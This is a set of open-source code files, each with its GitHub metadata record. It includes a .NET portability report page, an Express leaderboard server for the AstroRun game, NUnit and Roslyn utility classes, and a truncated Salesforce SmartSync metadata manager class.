background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAx0lEQVR4XpWSMQ7CMAxFf4xAyBMLCxMrO8dhaBcuwdCJS3RJBw7SA/QGTCxdWJgiQYWKXJWKIXHIlyw5lqr34tQgEOdcBsCOx5yZK3hCCKdYXneQkh4pEfqzLfu+wVDSyyzFoJjfz9NB+pAF+eizx2Vruts0k15mPgvS6GYvpVtQhB61IB/dk6AF6fS4Ben0uIX5odtFe8Q/eW1KvFeH4e8khT6+gm5B+t3juyDt7n0jpe+CANTd+oTUjN/U3yVaABnSUjFz/gFq44JaVSCXeQAAAABJRU5ErkJggg==);
}
/* Error icon encoded */
.IconErrorEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconError#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABQElEQVR4XqWTvUoEQRCE6wYPZUA80AfwAQz23uCMjA7MDRQEIzPBVEyNTQUFIw00vcQTTMzuAh/AxEQQT8HF/3G/oGGnEUGuoNnd6qoZuqltyKEsyzVJq5I6rnUp6SjGeGhESikzzlc1eL7opfuVbrqbU1Zw9NCgtQMaZpY0eNnaaL2fHusvTK5vKu7sjSS1Y4y3QUA6K3e3Mau5UFDyMP7tYF9o8cAHZv68vipoIJg971PZIZ5HiwdvYGGvFVFHmGmZ2MxwmQYPXubPl9Up0tfoMQGetXd6mRbvhBw+boZ6WF7Mbv1+GsHRk0fQmPAH1GfmZirbCfDJ61tw3Px8/8pZsPAG4jlVhcPgZ7adwNWBB68lkRQWFiTgFlbnLY3DGGM7izIJIyT/jjIvEJw6fdJTc6krDzh6aMwMP9bvDH4ADSsa9uSWVJkAAAAASUVORK5CYII=);
}
</style>
</head>
<body>
<h1 _locid="PortabilityReport">.NET Portability Report</h1>
<div id="content">
<div id="submissionId" style="font-size:8pt;">
<p>
<i>
Submission Id
f607fc8c-44fd-4b7b-adf7-fab520e00919
</i>
</p>
</div>
<h2 _locid="SummaryTitle">
<a name="Portability Summary"></a>Portability Summary
</h2>
<div id="summary">
<table>
<tbody>
<tr>
<th>Assembly</th>
<th>ASP.NET 5,Version=v1.0</th>
<th>Windows,Version=v8.1</th>
<th>.NET Framework,Version=v4.6</th>
<th>Windows Phone,Version=v8.1</th>
</tr>
<tr>
<td><strong><a href="#SecureBlackbox.XML.Async">SecureBlackbox.XML.Async</a></strong></td>
<td class="text-center">100.00 %</td>
<td class="text-center">100.00 %</td>
<td class="text-center">100.00 %</td>
<td class="text-center">100.00 %</td>
</tr>
</tbody>
</table>
</div>
<div id="details">
</div>
</div>
</body>
</html> | {
"content_hash": "fc3fb606ff936de13b0849af1957f05d",
"timestamp": "",
"source": "github",
"line_count": 240,
"max_line_length": 562,
"avg_line_length": 40.2625,
"alnum_prop": 0.5740453275380316,
"repo_name": "kuhlenh/port-to-core",
"id": "6831f35fcd1697a29500ce944765be1fa902470d",
"size": "9663",
"binary": false,
"copies": "1",
"ref": "refs/heads/gh-pages",
"path": "Reports/se/secureblackbox.12.0.272/SecureBlackbox.XML.Async-net45.html",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "2323514650"
}
],
"symlink_target": ""
} |
var express = require('express')
var mongoose = require('mongoose')
var bodyParser = require('body-parser')
var morgan = require('morgan')
var app = express();
mongoose.connect('mongodb://localhost/AstroRunDB');
app.use(express.static('../public'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(morgan('combined'));
require(__dirname+'/mongo_models/score.js');
var Score = mongoose.model('scores');
var numLeaders = 100;
app.get('/', function(req, res){
res.sendFile(__dirname + '/views/index.html');
});
app.post('/addScore', function(req, res){
var score = new Score ({
username : req.body.username,
score : req.body.totSeconds
});
if(score.score === undefined) {
res.json({
success : false,
errMessage : "Could not save score. Score was undefined"
});
return;
}
if(score.username === undefined || score.username === '') {
res.json({
success : false,
errMessage : "Could not save score. Username was undefined"
});
return;
}
console.log('Saving score', score.username, ':', score.score);
score.save(function(err){
if(err){
console.log("Error saving the users score " + err);
res.json({
success : false,
errMessage : "Could not save user."
});
return;
}
res.json({
success : true
});
return;
});
});
app.get('/getHighScores', function(req, res){
Score.find().sort({score : -1}).exec(function(err, docs){
if(err) {
console.log("Error finding high scores.");
res.json({
success: false,
errMessage: "Could not find scores"
});
return;
}
var leaders = [];
var leaderCounter = 0;
for(var i = 0; i<docs.length; i++){
if(docs[i] && leaderCounter < numLeaders){
leaders.push(docs[i]);
leaderCounter += 1;
}
}
formatLeaderboard(leaders, function(err, newLeaders){
if(err){
res.json({
success : false,
errMessage : "Error formatting the leaderboard"
});
return;
}
else{
res.json({
success : true,
leaders : newLeaders
});
}
});
});
});
function formatLeaderboard(leaders, fn){
var formattedLeaders = [];
for(var i = 0; i<leaders.length; i++){
var tempLeader = {
username : "",
score : ""
}
tempLeader.username = leaders[i].username;
var min = Math.floor(leaders[i].score / 60);
var sec = leaders[i].score % 60;
var scoreString = "";
if(sec < 10){
scoreString = min.toString() + ":0" + sec.toString();
}
else{
scoreString = min.toString() + ":" + sec.toString();
}
tempLeader.score = scoreString;
formattedLeaders.push(tempLeader);
}
return fn(null, formattedLeaders);
}
// This is the fix
app.get(/^(.+)$/, function(req, res) {
res.sendFile(__dirname + '/public/' + req.params[0]);
});
var portNumber = 80;
app.listen(portNumber);
console.log("AstroRun Server is listening on port " + portNumber);
| {
"content_hash": "0d669d78999acd260100dc96bc77713f",
"timestamp": "",
"source": "github",
"line_count": 141,
"max_line_length": 71,
"avg_line_length": 25.0354609929078,
"alnum_prop": 0.5073654390934844,
"repo_name": "Chris113113/AstroRun",
"id": "485438cc3bbc0c91ce66bec6f87a1d11c6790bce",
"size": "3530",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "server/server.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "5271"
},
{
"name": "HTML",
"bytes": "5374"
},
{
"name": "JavaScript",
"bytes": "66263"
},
{
"name": "Makefile",
"bytes": "353"
}
],
"symlink_target": ""
} |
using System.Collections;
using System.Collections.Generic;
using NUnit.Framework.Interfaces;
namespace NUnit.Framework.Internal.Builders
{
/// <summary>
/// CombinatorialStrategy creates test cases by using all possible
/// combinations of the parameter data.
/// </summary>
public class CombinatorialStrategy : ICombiningStrategy
{
/// <summary>
/// Gets the test cases generated by the CombiningStrategy.
/// </summary>
/// <returns>The test cases.</returns>
public IEnumerable<ITestCaseData> GetTestCases(IEnumerable[] sources)
{
List<ITestCaseData> testCases = new List<ITestCaseData>();
IEnumerator[] enumerators = new IEnumerator[sources.Length];
int index = -1;
for (; ; )
{
while (++index < sources.Length)
{
enumerators[index] = sources[index].GetEnumerator();
if (!enumerators[index].MoveNext())
return testCases;
}
object?[] testdata = new object?[sources.Length];
for (int i = 0; i < sources.Length; i++)
testdata[i] = enumerators[i].Current;
TestCaseParameters parms = new TestCaseParameters(testdata);
testCases.Add(parms);
index = sources.Length;
while (--index >= 0 && !enumerators[index].MoveNext()) ;
if (index < 0) break;
}
return testCases;
}
}
}
| {
"content_hash": "b820e511a0ba900586e669509f9027c2",
"timestamp": "",
"source": "github",
"line_count": 50,
"max_line_length": 77,
"avg_line_length": 31.78,
"alnum_prop": 0.5437382001258654,
"repo_name": "mjedrzejek/nunit",
"id": "22f1728dc6cd2c38306761378071a47bd7bb16e5",
"size": "1699",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "src/NUnitFramework/framework/Internal/Builders/CombinatorialStrategy.cs",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "48"
},
{
"name": "C#",
"bytes": "3820473"
},
{
"name": "F#",
"bytes": "1295"
},
{
"name": "PowerShell",
"bytes": "319"
},
{
"name": "Shell",
"bytes": "258"
}
],
"symlink_target": ""
} |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
#nullable enable
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
namespace Roslyn.Utilities
{
/// <summary>
/// a simple Lisp-like immutable list. Good to use when lists are always accessed from the head.
/// </summary>
internal class ConsList<T> : IEnumerable<T>
{
public static readonly ConsList<T> Empty = new ConsList<T>();
private readonly T? _head;
private readonly ConsList<T>? _tail;
internal struct Enumerator : IEnumerator<T>
{
private T? _current;
private ConsList<T> _tail;
internal Enumerator(ConsList<T> list)
{
_current = default;
_tail = list;
}
public T Current
{
get
{
Debug.Assert(_tail != null);
// This never returns null after a proper call to `MoveNext` returned true.
return _current!;
}
}
public bool MoveNext()
{
var currentTail = _tail;
var newTail = currentTail._tail;
if (newTail != null)
{
// Suppress false positive CS8717 reported for MaybeNull assignment to AllowNull
// https://github.com/dotnet/roslyn/issues/38926
_current = currentTail._head!;
_tail = newTail;
return true;
}
_current = default;
return false;
}
public void Dispose()
{
}
object? IEnumerator.Current
{
get
{
return this.Current;
}
}
public void Reset()
{
throw new NotSupportedException();
}
}
private ConsList()
{
_head = default;
_tail = null;
}
public ConsList(T head, ConsList<T> tail)
{
Debug.Assert(tail != null);
_head = head;
_tail = tail;
}
[DebuggerBrowsable(DebuggerBrowsableState.Never)]
public T Head
{
get
{
Debug.Assert(this != Empty);
return _head!;
}
}
[DebuggerBrowsable(DebuggerBrowsableState.Never)]
public ConsList<T> Tail
{
get
{
Debug.Assert(this != Empty);
RoslynDebug.Assert(_tail is object);
return _tail;
}
}
public bool Any()
{
return this != Empty;
}
public ConsList<T> Push(T value)
{
return new ConsList<T>(value, this);
}
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
IEnumerator<T> IEnumerable<T>.GetEnumerator()
{
return GetEnumerator();
}
public Enumerator GetEnumerator()
{
return new Enumerator(this);
}
public override string ToString()
{
StringBuilder result = new StringBuilder("ConsList[");
bool any = false;
for (ConsList<T> list = this; list._tail != null; list = list._tail)
{
if (any)
{
result.Append(", ");
}
result.Append(list.Head);
any = true;
}
result.Append("]");
return result.ToString();
}
}
}
| {
"content_hash": "41f3731220fb589e1198403fff8c7482",
"timestamp": "",
"source": "github",
"line_count": 162,
"max_line_length": 101,
"avg_line_length": 24.90740740740741,
"alnum_prop": 0.4587360594795539,
"repo_name": "jmarolf/roslyn",
"id": "ff3fa70d951b8a3d52baac975540d145a850f609",
"size": "4037",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "src/Compilers/Core/Portable/InternalUtilities/ConsList`1.cs",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "1C Enterprise",
"bytes": "257760"
},
{
"name": "Batchfile",
"bytes": "9059"
},
{
"name": "C#",
"bytes": "139027042"
},
{
"name": "C++",
"bytes": "5602"
},
{
"name": "CMake",
"bytes": "9153"
},
{
"name": "Dockerfile",
"bytes": "2450"
},
{
"name": "F#",
"bytes": "549"
},
{
"name": "PowerShell",
"bytes": "243026"
},
{
"name": "Shell",
"bytes": "92965"
},
{
"name": "Visual Basic .NET",
"bytes": "71729344"
}
],
"symlink_target": ""
} |
package com.salesforce.androidsdk.smartsync.manager;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.text.TextUtils;
import android.util.Log;
import com.salesforce.androidsdk.accounts.UserAccount;
import com.salesforce.androidsdk.app.SalesforceSDKManager;
import com.salesforce.androidsdk.rest.ApiVersionStrings;
import com.salesforce.androidsdk.rest.RestClient;
import com.salesforce.androidsdk.rest.RestRequest;
import com.salesforce.androidsdk.rest.RestResponse;
import com.salesforce.androidsdk.smartstore.app.SalesforceSDKManagerWithSmartStore;
import com.salesforce.androidsdk.smartsync.R;
import com.salesforce.androidsdk.smartsync.manager.CacheManager.CachePolicy;
import com.salesforce.androidsdk.smartsync.model.SalesforceObject;
import com.salesforce.androidsdk.smartsync.model.SalesforceObjectLayoutColumn;
import com.salesforce.androidsdk.smartsync.model.SalesforceObjectType;
import com.salesforce.androidsdk.smartsync.model.SalesforceObjectTypeLayout;
import com.salesforce.androidsdk.smartsync.util.Constants;
import com.salesforce.androidsdk.smartsync.util.SOQLBuilder;
/**
* This class contains APIs to fetch Salesforce object metadata, recently used
* objects, and other object related data.
*
* @author bhariharan
*/
public class MetadataManager {
private static final String TAG = "SmartSync: MetadataManager";
private static final int MAX_QUERY_LIMIT = 200;
private static final long DEFAULT_METADATA_REFRESH_INTERVAL = 7 * 24 * 60 * 60 * 1000;
// Cache constants.
private static final String MRU_CACHE_TYPE = "recent_objects";
private static final String METADATA_CACHE_TYPE = "metadata";
private static final String LAYOUT_CACHE_TYPE = "layout";
private static final String SMART_SCOPES_CACHE_KEY = "smart_scopes";
private static final String MRU_BY_OBJECT_TYPE_CACHE_KEY = "mru_for_%s";
private static final String ALL_OBJECTS_CACHE_KEY = "all_objects";
private static final String OBJECT_BY_TYPE_CACHE_KEY = "object_info_%s";
private static final String OBJECT_LAYOUT_BY_TYPE_CACHE_KEY = "object_layout_%s";
// Other constants.
private static final String RECORD_TYPE_GLOBAL = "global";
private static final String RECENTLY_VIEWED = "RecentlyViewed";
private static Map<String, MetadataManager> INSTANCES;
private String apiVersion;
private CacheManager cacheManager;
private RestClient restClient;
private String communityId;
/**
* Returns the instance of this class associated with this user account.
*
* @param account User account.
* @return Instance of this class.
*/
public static synchronized MetadataManager getInstance(UserAccount account) {
return getInstance(account, null);
}
/**
* Returns the instance of this class associated with this user and community.
*
* @param account User account.
* @param communityId Community ID.
* @return Instance of this class.
*/
public static synchronized MetadataManager getInstance(UserAccount account, String communityId) {
if (account == null) {
account = SalesforceSDKManagerWithSmartStore.getInstance().getUserAccountManager().getCurrentUser();
}
if (account == null) {
return null;
}
String uniqueId = account.getUserId();
if (UserAccount.INTERNAL_COMMUNITY_ID.equals(communityId)) {
communityId = null;
}
if (!TextUtils.isEmpty(communityId)) {
uniqueId = uniqueId + communityId;
}
MetadataManager instance = null;
if (INSTANCES == null) {
INSTANCES = new HashMap<String, MetadataManager>();
instance = new MetadataManager(account, communityId);
INSTANCES.put(uniqueId, instance);
} else {
instance = INSTANCES.get(uniqueId);
}
if (instance == null) {
instance = new MetadataManager(account, communityId);
INSTANCES.put(uniqueId, instance);
}
return instance;
}
/**
* Resets the metadata manager associated with this user account.
*
* @param account User account.
*/
public static synchronized void reset(UserAccount account) {
reset(account, null);
}
/**
* Resets the metadata manager associated with this user and community.
*
* @param account User account.
* @param communityId Community ID.
*/
public static synchronized void reset(UserAccount account, String communityId) {
if (account == null) {
account = SalesforceSDKManagerWithSmartStore.getInstance().getUserAccountManager().getCurrentUser();
}
if (account != null) {
String uniqueId = account.getUserId();
if (UserAccount.INTERNAL_COMMUNITY_ID.equals(communityId)) {
communityId = null;
}
if (!TextUtils.isEmpty(communityId)) {
uniqueId = uniqueId + communityId;
}
if (INSTANCES != null) {
INSTANCES.remove(uniqueId);
}
}
}
/**
* Private parameterized constructor.
*
* @param account User account.
* @param communityId Community ID.
*/
private MetadataManager(UserAccount account, String communityId) {
apiVersion = ApiVersionStrings.VERSION_NUMBER;
this.communityId = communityId;
cacheManager = CacheManager.getInstance(account, communityId);
restClient = SalesforceSDKManager.getInstance().getClientManager().peekRestClient(account);
}
/**
* Sets the rest client to be used.
* This is primarily used only by tests.
*
* @param restClient
*/
public void setRestClient(RestClient restClient) {
this.restClient = restClient;
}
/**
* Sets the cache manager to be used.
*
* @param cacheMgr CacheManager instance.
*/
public void setCacheManager(CacheManager cacheMgr) {
cacheManager = cacheMgr;
}
/**
* Sets the API version to be used (for example, 'v33.0').
*
* @param apiVer API version to be used.
*/
public void setApiVersion(String apiVer) {
apiVersion = apiVer;
}
/**
* Returns the API version being used.
*
* @return API version being used.
*/
public String getApiVersion() {
return apiVersion;
}
/**
* Returns a list of smart scope object types.
*
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return List of smart scope object types.
*/
public List<SalesforceObjectType> loadSmartScopeObjectTypes(CachePolicy cachePolicy,
long refreshCacheIfOlderThan) {
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
cacheManager.removeCache(MRU_CACHE_TYPE, SMART_SCOPES_CACHE_KEY);
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD) {
cacheManager.removeCache(MRU_CACHE_TYPE, SMART_SCOPES_CACHE_KEY);
}
// Checks the cache for data.
long cachedTime = cacheManager.getLastCacheUpdateTime(MRU_CACHE_TYPE,
SMART_SCOPES_CACHE_KEY);
final List<SalesforceObjectType> cachedData = getCachedObjectTypes(cachePolicy,
MRU_CACHE_TYPE, SMART_SCOPES_CACHE_KEY);
// Returns cache data if the cache policy explicitly states so.
if (cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD) {
return cachedData;
}
if (cachedData != null && cachedData.size() > 0 &&
cachePolicy != CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE &&
!cacheManager.needToReloadCache((cachedData != null), cachePolicy,
cachedTime, refreshCacheIfOlderThan)) {
return cachedData;
}
// Loads data from the server.
return loadSmartScopes(cachePolicy);
}
/**
* Returns a list of MRU objects based on object type.
*
* @param objectTypeName Object type name (set to 'null' for global MRU).
* @param limit Limit on number of objects (max is 'MAX_QUERY_LIMIT').
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @param networkFieldName Network field name for this object type.
* @return List of recently accessed objects.
*/
public List<SalesforceObject> loadMRUObjects(String objectTypeName,
int limit, CachePolicy cachePolicy, long refreshCacheIfOlderThan,
String networkFieldName) {
if (limit > MAX_QUERY_LIMIT || limit < 0) {
limit = MAX_QUERY_LIMIT;
}
String cacheKey;
boolean globalMRU = false;
if (objectTypeName == null || Constants.EMPTY_STRING.equals(objectTypeName)) {
globalMRU = true;
cacheKey = String.format(MRU_BY_OBJECT_TYPE_CACHE_KEY, RECORD_TYPE_GLOBAL);
} else {
cacheKey = String.format(MRU_BY_OBJECT_TYPE_CACHE_KEY, objectTypeName);
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
cacheManager.removeCache(MRU_CACHE_TYPE, cacheKey);
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD) {
cacheManager.removeCache(MRU_CACHE_TYPE, cacheKey);
}
// Checks the cache for data.
long cachedTime = cacheManager.getLastCacheUpdateTime(MRU_CACHE_TYPE, cacheKey);
List<SalesforceObject> cachedData = getCachedObjects(cachePolicy,
MRU_CACHE_TYPE, cacheKey);
// Returns cache data if the cache policy explicitly states so.
if (cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD) {
if (cachedData != null && limit > 0 && limit < cachedData.size()) {
cachedData = cachedData.subList(0, limit - 1);
}
return cachedData;
}
if (cachedData != null && cachedData.size() > 0 &&
cachePolicy != CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE &&
!cacheManager.needToReloadCache((cachedData != null), cachePolicy,
cachedTime, refreshCacheIfOlderThan)) {
if (limit > 0 && limit < cachedData.size()) {
cachedData = cachedData.subList(0, limit - 1);
}
return cachedData;
}
return loadRecentObjects(objectTypeName, globalMRU, limit,
cachePolicy, cacheKey, networkFieldName);
}
/**
* Returns a list of all object types.
*
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return List of all object types.
*/
public List<SalesforceObjectType> loadAllObjectTypes(CachePolicy cachePolicy,
long refreshCacheIfOlderThan) {
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
cacheManager.removeCache(METADATA_CACHE_TYPE, ALL_OBJECTS_CACHE_KEY);
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD) {
cacheManager.removeCache(METADATA_CACHE_TYPE, ALL_OBJECTS_CACHE_KEY);
}
long cachedTime = cacheManager.getLastCacheUpdateTime(METADATA_CACHE_TYPE,
ALL_OBJECTS_CACHE_KEY);
// Checks if the cache needs to be refreshed.
final List<SalesforceObjectType> cachedData = getCachedObjectTypes(cachePolicy,
METADATA_CACHE_TYPE, ALL_OBJECTS_CACHE_KEY);
// Returns cache data if the cache policy explicitly states so.
if (cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD) {
return cachedData;
}
if (cachedData != null && cachedData.size() > 0 &&
cachePolicy != CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE &&
!cacheManager.needToReloadCache((cachedData != null), cachePolicy,
cachedTime, refreshCacheIfOlderThan)) {
return cachedData;
}
// Makes a live server call to fetch object types.
final List<SalesforceObjectType> returnList = new ArrayList<SalesforceObjectType>();
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForDescribeGlobal(apiVersion));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
if (response != null && response.isSuccess()) {
try {
final JSONObject responseJSON = response.asJSONObject();
if (responseJSON != null) {
final JSONArray objectTypes = responseJSON.optJSONArray("sobjects");
if (objectTypes != null) {
for (int i = 0; i < objectTypes.length(); i++) {
final JSONObject metadata = objectTypes.optJSONObject(i);
if (metadata != null) {
final boolean hidden = metadata.optBoolean(
Constants.HIDDEN_FIELD, false);
if (!hidden) {
final SalesforceObjectType objType = new SalesforceObjectType(metadata);
returnList.add(objType);
}
}
}
if (returnList.size() > 0 && shouldCacheData(cachePolicy)) {
cacheObjectTypes(returnList, METADATA_CACHE_TYPE, ALL_OBJECTS_CACHE_KEY);
}
}
}
} catch (IOException e) {
Log.e(TAG, "IOException occurred while reading data", e);
} catch (JSONException e) {
Log.e(TAG, "JSONException occurred while parsing", e);
}
} else if (shouldFallBackOnCache(cachePolicy)) {
return cachedData;
}
if (returnList.size() == 0) {
return null;
}
return returnList;
}
/**
* Returns metadata for a specific object type.
*
* @param objectTypeName Object type name.
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return Metadata for a specific object type.
*/
public SalesforceObjectType loadObjectType(String objectTypeName,
CachePolicy cachePolicy, long refreshCacheIfOlderThan) {
if (objectTypeName == null || Constants.EMPTY_STRING.equals(objectTypeName)) {
Log.e(TAG, "Cannot load recently accessed objects for invalid object type");
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
cacheManager.removeCache(METADATA_CACHE_TYPE,
String.format(OBJECT_BY_TYPE_CACHE_KEY, objectTypeName));
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD) {
cacheManager.removeCache(METADATA_CACHE_TYPE,
String.format(OBJECT_BY_TYPE_CACHE_KEY, objectTypeName));
}
long cachedTime = cacheManager.getLastCacheUpdateTime(METADATA_CACHE_TYPE,
String.format(OBJECT_BY_TYPE_CACHE_KEY, objectTypeName));
// Checks if the cache needs to be refreshed.
final SalesforceObjectType cachedData = getCachedObjectType(objectTypeName);
// Returns cache data if the cache policy explicitly states so.
if (cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD) {
return cachedData;
}
if (cachedData != null && cachePolicy != CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE &&
!cacheManager.needToReloadCache((cachedData != null), cachePolicy,
cachedTime, refreshCacheIfOlderThan)) {
return cachedData;
}
// Makes a live server call to fetch metadata.
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForDescribe(apiVersion, objectTypeName));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
if (response != null && response.isSuccess()) {
try {
final JSONObject responseJSON = response.asJSONObject();
if (responseJSON != null) {
final SalesforceObjectType objType = new SalesforceObjectType(responseJSON);
if (shouldCacheData(cachePolicy)) {
final List<SalesforceObjectType> objList = new ArrayList<SalesforceObjectType>();
objList.add(objType);
cacheObjectTypes(objList, METADATA_CACHE_TYPE,
String.format(OBJECT_BY_TYPE_CACHE_KEY, objectTypeName));
}
return objType;
}
} catch (IOException e) {
Log.e(TAG, "IOException occurred while reading data", e);
} catch (JSONException e) {
Log.e(TAG, "JSONException occurred while parsing", e);
}
} else if (shouldFallBackOnCache(cachePolicy)) {
return cachedData;
}
return null;
}
/**
* Returns metadata for the specified list of object types.
*
* @param objectTypeNames List of object type names.
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return Metadata for the list of object types.
*/
public List<SalesforceObjectType> loadObjectTypes(List<String> objectTypeNames,
CachePolicy cachePolicy, long refreshCacheIfOlderThan) {
if (objectTypeNames == null || objectTypeNames.size() == 0) {
return null;
}
List<SalesforceObjectType> results = new ArrayList<SalesforceObjectType>();
for (final String objectTypeName : objectTypeNames) {
if (objectTypeName != null && !Constants.EMPTY_STRING.equals(objectTypeName)) {
final SalesforceObjectType object = loadObjectType(objectTypeName,
cachePolicy, refreshCacheIfOlderThan);
if (object != null) {
results.add(object);
}
}
}
if (results.size() == 0) {
results = null;
}
return results;
}
/**
* Returns whether the specified object type is searchable or not.
*
* @param objectType Object type.
* @return True - if searchable, False - otherwise.
*/
public boolean isObjectTypeSearchable(SalesforceObjectType objectType) {
if (objectType == null) {
return false;
}
final String objectName = ((objectType.getName() == null) ?
Constants.EMPTY_STRING : objectType.getName());
if (!Constants.EMPTY_STRING.equals(objectName)) {
if (objectType.getRawData() == null) {
objectType = loadObjectType(objectName,
CachePolicy.RELOAD_AND_RETURN_CACHE_DATA, 0);
}
if (objectType != null) {
return (objectType.isSearchable());
}
}
return false;
}
/**
* Returns object type layouts for the specified list of object types.
*
* @param objectTypes List of object types.
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return Object type layouts for the list of object types.
*/
public List<SalesforceObjectTypeLayout> loadObjectTypesLayout(List<SalesforceObjectType> objectTypes,
CachePolicy cachePolicy, long refreshCacheIfOlderThan) {
if (objectTypes == null || objectTypes.size() == 0) {
return null;
}
List<SalesforceObjectTypeLayout> results = new ArrayList<SalesforceObjectTypeLayout>();
for (final SalesforceObjectType objectType : objectTypes) {
if (objectType != null) {
final SalesforceObjectTypeLayout layout = loadObjectTypeLayout(objectType,
cachePolicy, refreshCacheIfOlderThan);
if (layout != null) {
results.add(layout);
}
}
}
if (results.size() == 0) {
results = null;
}
return results;
}
/**
* Loads the object layout for the specified object type.
*
* @param objectType Object type.
* @param cachePolicy Cache policy.
* @param refreshCacheIfOlderThan Time interval to refresh cache.
* @return Object layout.
*/
public SalesforceObjectTypeLayout loadObjectTypeLayout(SalesforceObjectType objectType,
CachePolicy cachePolicy, long refreshCacheIfOlderThan) {
if (objectType == null) {
Log.e(TAG, "Cannot load object layout with an invalid object type");
return null;
}
final String objectTypeName = objectType.getName();
if (objectTypeName == null || Constants.EMPTY_STRING.equals(objectTypeName)) {
Log.e(TAG, "Cannot load object layout with an invalid object type");
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
cacheManager.removeCache(LAYOUT_CACHE_TYPE,
String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY, objectTypeName));
return null;
}
if (cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD) {
cacheManager.removeCache(LAYOUT_CACHE_TYPE,
String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY, objectTypeName));
}
long cachedTime = cacheManager.getLastCacheUpdateTime(LAYOUT_CACHE_TYPE,
String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY, objectTypeName));
// Checks if the cache needs to be refreshed.
final List<SalesforceObjectTypeLayout> cachedData = getCachedObjectLayouts(CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD,
LAYOUT_CACHE_TYPE, String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY, objectTypeName));
// Returns cache data if the cache policy explicitly states so.
if (cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD) {
if (cachedData != null && cachedData.size() > 0) {
return cachedData.get(0);
} else {
return null;
}
}
if (cachedData != null && cachedData.size() > 0 &&
cachePolicy != CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE &&
!cacheManager.needToReloadCache((cachedData != null), cachePolicy,
cachedTime, refreshCacheIfOlderThan)) {
return cachedData.get(0);
}
// Checks if a layout can be loaded for this object type.
if (objectType.getRawData() == null) {
objectType = loadObjectType(objectTypeName, CachePolicy.RELOAD_AND_RETURN_CACHE_DATA, 0);
}
if (objectType == null || !objectType.isSearchable() || !objectType.isLayoutable()) {
return null;
}
// Makes a live server call to fetch the object layout.
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForSearchResultLayout(apiVersion, Arrays.asList(new String[] {objectTypeName})));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
if (response != null && response.isSuccess()) {
try {
final JSONArray responseJSON = response.asJSONArray();
if (responseJSON != null && responseJSON.length() > 0) {
final JSONObject objJSON = responseJSON.optJSONObject(0);
if (objJSON != null) {
final SalesforceObjectTypeLayout objTypeLayout = new SalesforceObjectTypeLayout(objectTypeName,
objJSON);
if (shouldCacheData(cachePolicy)) {
final List<SalesforceObjectTypeLayout> layoutList = new ArrayList<SalesforceObjectTypeLayout>();
layoutList.add(objTypeLayout);
cacheObjectLayouts(layoutList, LAYOUT_CACHE_TYPE,
String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY,
objectTypeName));
}
